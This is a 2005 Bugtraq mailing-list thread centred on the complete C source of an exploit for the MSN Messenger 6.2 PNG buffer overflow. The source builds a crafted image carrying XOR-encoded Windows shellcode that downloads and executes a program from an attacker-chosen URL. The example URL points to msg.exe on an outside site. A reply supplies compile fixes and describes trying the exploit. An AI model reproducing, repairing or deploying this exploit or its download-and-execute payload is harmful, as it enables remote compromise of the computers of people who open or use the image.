"I'm compiled with VC6 and just 1024 bytes big :)"
then MSN Messenger crashes.
I'm using MSN Messenger 6.2.0137
From: "Andrew Hunter" <andiroohunter@xxxxxxx>
To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: RE: MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
Date: Wed, 09 Feb 2005 19:51:26 +0000
I had problems getting your code to compile, a few modifications were needed!
I did get it to compile in MS VC++, and in Dev C++
You need to make the following adjustments.
Line 124: newshellcode = new char[sizeof(shellcode)+strlen(web)+1];
Change it to the following: newshellcode = malloc((sizeof(shellcode)+strlen(web)+1));
That is how i got it to sucessfully compile and make vuln.png
Unfortunatly MSN would let me load the .png as my display picture? I am using MSN 7 so that is probbobly why, i will down grade to MSN 6 and try again.
From: ATmaCA ATmaCA <atmaca@xxxxxxxxxxxxxx>
To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
Date: 9 Feb 2005 14:06:29 -0000
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/* * * MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit * Bug discoveried by Core Security Technologies (www.coresecurity.com) * Exploit coded By ATmaCA * Copyright ©2002-2005 AtmacaSoft Inc. All Rights Reserved. * Web: http://www.atmacasoft.com * E-Mail: atmaca@xxxxxxxxxxx * Credit to kozan and delikon * Usage:exploit <OutputPath> <Url> * */
/* * * Tested with MSN Messenger 6.2.0137 * This vulnerability can be exploited on Windows 2000 (all service packs) * and Windows XP (all service packs) that run vulnerable * clients of MSN Messenger. * */
/* * * After creating vuln png image, open * MSN Messenger and select it as your display picture in * "Tools->Change Display Picture". * */
#include <stdio.h> #include <stdlib.h> #include <conio.h> #include <string.h>
#ifdef __BORLANDC__ #include <mem.h> #endif
#define NOP 0x90
char png_header[] = "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52" "\x00\x00\x00\x40\x00\x00\x00\x40\x08\x03\x00\x00\x00\x9D\xB7\x81" "\xEC\x00\x00\x01\xB9\x74\x52\x4E\x53";
char pngeof[] = "\x90\x90\x90\x59\xE8\x47\xFE\xFF\xFF";
/* Generic win32 http download shellcode xored with 0x1d by delikon (http://delikon.de/) */ char shellcode[] = "\xEB" "\x10\x58\x31\xC9\x66\x81\xE9\x22\xFF\x80\x30\x1D\x40\xE2\xFA\xEB\x05\xE8\xEB\xFF" "\xFF\xFF\xF4\xD1\x1D\x1D\x1D\x42\xF5\x4B\x1D\x1D\x1D\x94\xDE\x4D\x75\x93\x53\x13" "\xF1\xF5\x7D\x1D\x1D\x1D\x2C\xD4\x7B\xA4\x72\x73\x4C\x75\x68\x6F\x71\x70\x49\xE2" "\xCD\x4D\x75\x2B\x07\x32\x6D\xF5\x5B\x1D\x1D\x1D\x2C\xD4\x4C\x4C\x90\x2A\x4B\x90" "\x6A\x15\x4B\x4C\xE2\xCD\x4E\x75\x85\xE3\x97\x13\xF5\x30\x1D\x1D\x1D\x4C\x4A\xE2" "\xCD\x2C\xD4\x54\xFF\xE3\x4E\x75\x63\xC5\xFF\x6E\xF5\x04\x1D\x1D\x1D\xE2\xCD\x48" "\x4B\x79\xBC\x2D\x1D\x1D\x1D\x96\x5D\x11\x96\x6D\x01\xB0\x96\x75\x15\x94\xF5\x43" "\x40\xDE\x4E\x48\x4B\x4A\x96\x71\x39\x05\x96\x58\x21\x96\x49\x18\x65\x1C\xF7\x96" "\x57\x05\x96\x47\x3D\x1C\xF6\xFE\x28\x54\x96\x29\x96\x1C\xF3\x2C\xE2\xE1\x2C\xDD" "\xB1\x25\xFD\x69\x1A\xDC\xD2\x10\x1C\xDA\xF6\xEF\x26\x61\x39\x09\x68\xFC\x96\x47" "\x39\x1C\xF6\x7B\x96\x11\x56\x96\x47\x01\x1C\xF6\x96\x19\x96\x1C\xF5\xF4\x1F\x1D" "\x1D\x1D\x2C\xDD\x94\xF7\x42\x43\x40\x46\xDE\xF5\x32\xE2\xE2\xE2\x70\x75\x75\x33" "\x78\x65\x78\x1D";
FILE *di; int i = 0; short int weblength; char *web; char *pointer = NULL; char *newshellcode;
/*xor cryptor*/ char *Sifrele(char *Name1) { char *Name=Name1; char xor=0x1d; int Size=strlen(Name); for(i=0;i<Size;i++) Name[i]=Name[i]^xor; return Name; }
void main(int argc, char *argv[]) {
if (argc < 3)
{
printf("MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit\n");
printf("Bug discoveried by Core Security Technologies (www.coresecurity.com)\n");
printf("Exploit coded By ATmaCA\n");
printf("Copyright ©2002-2005 AtmacaSoft Inc. All Rights Reserved.\n");
printf("Web: http://www.atmacasoft.com\n";);
printf("E-Mail: atmaca@xxxxxxxxxxx\n");
printf("Credit to kozan and delikon\n\n");
printf("\tUsage:exploit <OutputPath> <Url>\n");
printf("\tExample:exploit vuln.png http://www.atmacasoft.com/exp/msg.exe\n";);
return; }
web = argv[2];
if( (di=fopen(argv[1],"wb")) == NULL ) { printf("Error opening file!\n"); return; } for(i=0;i<sizeof(png_header)-1;i++) fputc(png_header[i],di);
/*stuff in a couple of NOPs*/ for(i=0;i<99;i++) fputc(NOP,di);
weblength=(short int)0xff22; pointer=strstr(shellcode,"\x22\xff"); weblength-=strlen(web)+1; memcpy(pointer,&weblength,2); newshellcode = new char[sizeof(shellcode)+strlen(web)+1]; strcpy(newshellcode,shellcode); strcat(newshellcode,Sifrele(web)); strcat(newshellcode,"\x1d");
//shell code for(i=0;i<strlen(newshellcode);i++) fputc(newshellcode[i],di);
for(i=0;i<(83-strlen(web));i++) //NOPs fputc(NOP,di);
/*Overwriting the return address (EIP)*/ /*0x005E0547 - ret */ fputc(0x47,di); fputc(0x05,di); fputc(0x5e,di); fputc(0x00,di);
for(i=0;i<sizeof(pngeof)-1;i++) fputc(pngeof[i],di);
printf("Vulnarable png file %s has been generated!\n",argv[1]);
fclose(di); }
